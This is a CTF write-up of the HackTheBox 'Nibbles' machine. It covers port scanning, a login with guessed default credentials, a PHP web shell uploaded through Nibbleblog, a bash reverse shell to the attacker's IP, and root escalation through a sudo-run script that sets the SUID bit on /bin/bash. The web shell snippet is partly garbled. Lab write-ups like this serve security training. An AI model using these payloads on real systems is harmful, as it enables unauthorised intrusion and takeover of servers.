> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md). # Nibbles HackTheBox Writeup Nibbles HackTheBox Easy Linux machine writeup covering Abusing Nibbleblog - Remote Code Execution via File Upload, Abusing Sudoers Privilege (Privilege Escalation), with practical enumeration, exploit {% embed url="" %} {% hint style="warning" %} **Skills:** * Abusing Nibbleblog - Remote Code Execution via File Upload * Abusing Sudoers Privilege (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.10.75 -oN targeted ```

### Port 80 - HTTP

By inspecting the source code of the web page, we notice the presence of a `/nibbleblog` directory.

### Nibbles Blog - CMS

The site appears to be a CMS called Nibbleblog. We'll use `gobuster` to search for additional directories: ```bash gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

#### PHP File Search: When searching for PHP files we find a `admin.php` file which appears to correspond to an admin panel.

#### Attempting to Login with Credentials: We are trying to connect with the following credentials: * **User**: admin * **Password**: nibbles

It works and we access the administration interface.

## Vulnerability Nibbleblog - File Upload We discover a functionality allowing you to download images:

We will create a `cmd.php` file with the following code to allow command execution ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` The file will be downloaded to the `content` directory, where we find a `private` subfolder containing plugins.

#### Executing Commands via File Upload: Thanks to the `cmd` parameter we can execute commands. For example, we use the following URL to get system ID information:

/image.php?cmd=id

We gain access to the server via a reverse shell. We listen to our machine on port 443: ```bash nc -nlvp 443 ``` Then, we run the reverse shell on the target machine: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261" ```

#### Terminal Stabilization : In the terminal, we perform the following steps to stabilize the session: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag user.txt :)

## Privilege Escalation : ### Sudo - monitor.sh (no such file) We discover a vulnerability related to running scripts with sudo privileges.

The `monitor.sh` file appears to be nowhere to be found, but we can create a script that will run as root. We start by creating the necessary directories: ```bash cd /home/nibbler mkdir personal cd !$ mkdir stuff cd !$ ``` We place the `monitor.sh` file there with the following content: ```bash chmod u+s /bin/bash ``` We then run the script with sudo privileges: ```bash sudo /home/nibbler/personal/stuff/monitor.sh ``` This allows you to modify the permissions of `/bin/bash` by adding the SUID bit. We then execute the following command to obtain a shell with root privileges: ```bash bash -p ```

### Flag root.txt :)

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